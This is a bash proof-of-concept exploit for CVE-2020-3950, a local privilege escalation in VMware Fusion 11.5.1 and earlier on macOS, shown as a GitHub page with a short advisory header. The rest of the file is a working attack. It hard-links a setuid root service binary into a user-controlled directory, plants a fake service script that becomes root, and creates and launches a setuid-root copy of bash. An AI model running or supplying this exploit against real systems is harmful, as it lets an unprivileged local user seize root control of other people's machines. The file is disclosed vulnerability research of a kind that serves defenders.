-
Notifications
You must be signed in to change notification settings - Fork 30
/
CVE-2020-3950.sh
69 lines (62 loc) · 1.93 KB
/
CVE-2020-3950.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/bin/bash
# Description: PoC for CVE-2020-3950
# Author: Rich Mirch @0xm1rch
# Advisory: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh
# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html
#
# Title
#
# VMware Fusion Elevation Of Privilege Vulnerability
#
#
# Description
#
# VMware Fusion 11.5.1 and prior are vulnerable to an elevation of privilege
# vulnerability. "VMware USB Arbitrator Service" and "Open VMware Fusion Services"
# are both setuid root binaries located at
# /Applications/VMware Fusion.app/Contents/Library/services. When executed
# outside of the standard path the binaries can be tricked into executing
# a program from a path that the attacker controls. This is achieved by
# created a hard link to the original binary. The binaries use part of the
# attacker-controlled path when executing the service and does not correctly
# validate that the target binary is legit.
#
#
# Impact
#
# A local attacker with a standard account can execute arbitrary code
# as root.
#
#
# Test Environment
#
# macOS 10.14.6
# VMware Fusion Professional Version 11.5.1 (15018442)
#
#
# Timeline
#
# 2019-12-23 Reported to vendor
# 2020-03-12 Patch released
# 2020-03-17 Advisory updated to include CVE-2020-3950
echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch"
mkdir -p ~/a/b/c
mkdir -p ~/Contents/Library/services
cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF
#!/usr/bin/python
import os
os.setuid(0)
os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot");
EOF
chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service
cd ~/a/b/c
ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null
"${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null &
p=$!
echo "Sleeping for 5 seconds"
sleep 5
kill ${p?}
wait
echo "Sleeping for 7 seconds"
sleep 7
$HOME/.woot -p